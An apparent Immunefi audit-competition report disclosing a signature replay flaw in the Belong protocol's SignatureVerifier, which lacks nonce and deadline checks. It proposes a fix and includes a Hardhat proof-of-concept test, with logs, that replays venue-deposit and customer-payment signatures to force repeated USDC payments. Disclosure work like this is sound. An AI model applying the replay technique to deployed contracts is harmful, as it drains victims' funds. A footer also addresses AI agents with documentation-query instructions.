# 57373 sc medium signature replay vulnerability due to missing nonce and deadline checks

**Submitted on Oct 25th 2025 at 16:04:58 UTC by @TECHFUND\_inc for** [**Audit Comp | Belong**](https://immunefi.com/audit-competition/audit-comp-belong)

* **Report ID:** #57373
* **Report Type:** Smart Contract
* **Report severity:** Medium
* **Target:** <https://github.com/immunefi-team/audit-comp-belong/blob/main/contracts/v2/utils/SignatureVerifier.sol>
* **Impacts:**
  * Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

## Description

### Brief/Intro

The protocol verifies signatures without nonces, allowing attackers to replay valid signatures. It also lacks deadline mechanisms, creating replay vulnerabilities.

Example (also present in `checkCustomerInfo()`):

```solidity
    function checkVenueInfo(
        address signer,
        VenueInfo calldata venueInfo
    ) external view {
       //@> Nonce and deadline parameretrs are missing
        require(
            signer.isValidSignatureNow(
                keccak256(
                    abi.encodePacked(
                        venueInfo.venue,
                        venueInfo.referralCode,
                        venueInfo.uri,
                        block.chainid
                    )
                ),
                venueInfo.signature
            ),
            InvalidSignature()
        );
    }
```

### Vulnerability Details

The `SignatureVerifier` library lacks nonce or timestamp (deadline) checks, allowing signatures to be replayed on the same chain. The same valid signature can be reused multiple times. For example, a venue deposit signature can be replayed to force multiple deposits, or a customer payment signature can be replayed to make duplicate payments.

### Impact Details

Attackers can replay valid signatures to force venue creators and venue customers to make multiple deposits, draining their funds.

### Mitigation

Consider implementing nonce and deadline checks in `SignatureVerifier` functions. Example implementation pattern:

```solidity
    function checkVenueInfo(
        address signer,
        VenueInfo calldata venueInfo,
    ) external view {
         // @> Ensure the signature is still valid (not expired)
        require(block.timestamp <= venueInfo.deadline, "EXPIRED");
         // @> Ensure the same signature cannot be replayed
        require(VenueInfo.nonce == nonces[VenueInfo.customer] + 1, "REPLAY");
        require(
            signer.isValidSignatureNow(
                keccak256(
                    abi.encodePacked(
                        VenueInfo.nonce, // @> Critical: include nonce in hash
                        venueInfo.venue,
                        venueInfo.referralCode,
                        venueInfo.uri,
                        block.chainid
                    )
                ),
                venueInfo.signature
            ),
            InvalidSignature()
        );
        nonces[VenueInfo.customer]++;
    }
```

(Keep in mind to adapt naming, typings and storage layout to the actual contract code. The above is a conceptual example showing inclusion of nonce and deadline and incrementing nonce after successful verification.)

## Proof of Concept

{% stepper %}
{% step %}

### Setup: add attacker to fixture

Add an attacker address to the test fixture:

```typescript
async function fixture() {
  //@audit - adding attacker address
  const [admin, treasury, manager, minter, burner, pauser, referral, attacker] = await ethers.getSigners();
  //
}
```

{% endstep %}

{% step %}

### Attack POC test

Add the following test and run:

yarn hardhat test test/v2/platform/belong-check-in.test.ts --grep "Attack POC"

```typescript
describe('Attack POC', () => {
  it('Signature replayAttack', async () => {
    const { belongCheckIn, signer, USDC, USDC_whale, ENA_whale, attacker } = await loadFixture(fixture);

    const uri = 'uriuri';
    const venueAmount = await u(100, USDC);
    const venueAmount2 = await u(50, USDC);

    const venue = USDC_whale.address;
    const venueMessage = ethers.utils.solidityKeccak256(
      ['address', 'bytes32', 'string', 'uint256'],
      [venue, ethers.constants.HashZero, uri, chainId],
    );
    const venueSignature = EthCrypto.sign(signer.privateKey, venueMessage);
    const venueInfo: VenueInfoStruct = {
      rules: { paymentType: 1, bountyType: 0, longPaymentType: 0 } as VenueRulesStruct,
      venue,
      amount: venueAmount,
      referralCode: ethers.constants.HashZero,
      uri,
      signature: venueSignature,
    };
    const willBeTaken = convenienceFeeAmount.add(venueAmount);
    await USDC.connect(USDC_whale).approve(belongCheckIn.address, willBeTaken.mul(5));
    const venueBalance_before = await USDC.balanceOf(USDC_whale.address);

    await belongCheckIn.connect(USDC_whale).venueDeposit(venueInfo);
    //@audit - attacker were able to successfully replay the signature of Venue creator and force their wallet to deposit multiple times
    await belongCheckIn.connect(attacker).venueDeposit(venueInfo);
    await belongCheckIn.connect(attacker).venueDeposit(venueInfo);
    await belongCheckIn.connect(attacker).venueDeposit(venueInfo);

    const customerAmount = await u(5, USDC);
    const customerMessage = ethers.utils.solidityKeccak256(
      ['bool', 'uint128', 'uint24', 'address', 'address', 'address', 'uint256', 'uint256'],
      [
        true, // paymentInUSDC
        0, // visitBountyAmount (uint24, adjust to uint256 if needed)
        0, // spendBountyPercentage (uint24, adjust to uint256 if needed)
        ENA_whale.address, // customer
        USDC_whale.address, // venueToPayFor
        ethers.constants.AddressZero, // promoter
        customerAmount, // amount
        chainId, // block.chainid
      ],
    );
    const customerSignature = EthCrypto.sign(signer.privateKey, customerMessage);
    const customerInfo: CustomerInfoStruct = {
      paymentInUSDC: true,
      visitBountyAmount: 0,
      spendBountyPercentage: 0,
      customer: ENA_whale.address,
      venueToPayFor: USDC_whale.address,
      promoter: ethers.constants.AddressZero,
      amount: customerAmount,
      signature: customerSignature,
    };
    await USDC.connect(USDC_whale).transfer(ENA_whale.address, customerAmount.mul(10));
    await USDC.connect(ENA_whale).approve(belongCheckIn.address, customerAmount.mul(5));

    const customerBalance_before = await USDC.balanceOf(ENA_whale.address);
    const tx = await belongCheckIn.connect(ENA_whale).payToVenue(customerInfo);
    //@audit - attacker were able to successfully replay the signature of payToVenue customer and force their wallet to deposit multiple times

    await belongCheckIn.connect(attacker).payToVenue(customerInfo);
    await belongCheckIn.connect(attacker).payToVenue(customerInfo);
    await belongCheckIn.connect(attacker).payToVenue(customerInfo);

    await expect(tx)
      .to.emit(belongCheckIn, 'CustomerPaid')
      .withArgs(
        ENA_whale.address,
        USDC_whale.address,
        ethers.constants.AddressZero,
        customerAmount,
        customerInfo.visitBountyAmount,
        customerInfo.spendBountyPercentage,
      );

    const venueBalance_ActualBalance = await USDC.balanceOf(USDC_whale.address);
    const venueBalance_ExpectedBalance = venueBalance_before.sub(willBeTaken);

    const customerBalance_ActualBalance = await USDC.balanceOf(ENA_whale.address);
    const customerBalance_ExpectedBalance = customerBalance_before.sub(customerAmount);

    console.log(`venueBalance_ExpectedBalance: ${venueBalance_ExpectedBalance}`);

    console.log(`venueBalance_ActualBalance: ${venueBalance_ActualBalance}`);
    console.log(
      `Loss of Amount because of this attack: ${venueBalance_ExpectedBalance.sub(venueBalance_ActualBalance)}`,
    );

    console.log(`customerBalance_ActualBalance: ${customerBalance_ActualBalance}`);
    console.log(`customerBalance_ExpectedBalance: ${customerBalance_ExpectedBalance}`);
    console.log(
      `Loss of Amount because of this attack: ${customerBalance_ExpectedBalance.sub(customerBalance_ActualBalance)}`,
    );
  });
});
```

{% endstep %}

{% step %}

### Observed logs

<details>

<summary>Test run logs</summary>

```javascript
Logs:
venueBalance_ExpectedBalance: 39958999022380
venueBalance_ActualBalance: 39958644022380
Loss of Amount because of this attack: 355000000
customerBalance_ActualBalance: 30000000
customerBalance_ExpectedBalance: 45000000
Loss of Amount because of this attack: 15000000
      ✔ Signature replayAttack (1766ms)


  1 passing (4s)

Done in 4.95s.
```

</details>
{% endstep %}
{% endstepper %}

## Notes

* Do not change the semantics of the verification logic beyond adding nonce and deadline checks; ensure signatures include any newly required fields (nonce, deadline) in the signed payload so that off-chain signers produce signatures that bind to these fields.
* When adding nonces, choose appropriate granularity for the nonce key (per-user/per-venue/per-customer) based on intended guarantees.
* Consider using EIP-712 typed structured data for signing to avoid issues with abi.encodePacked collisions and improve clarity.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/belong/57373-sc-medium-signature-replay-vulnerability-due-to-missing-nonce-and-deadline-checks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
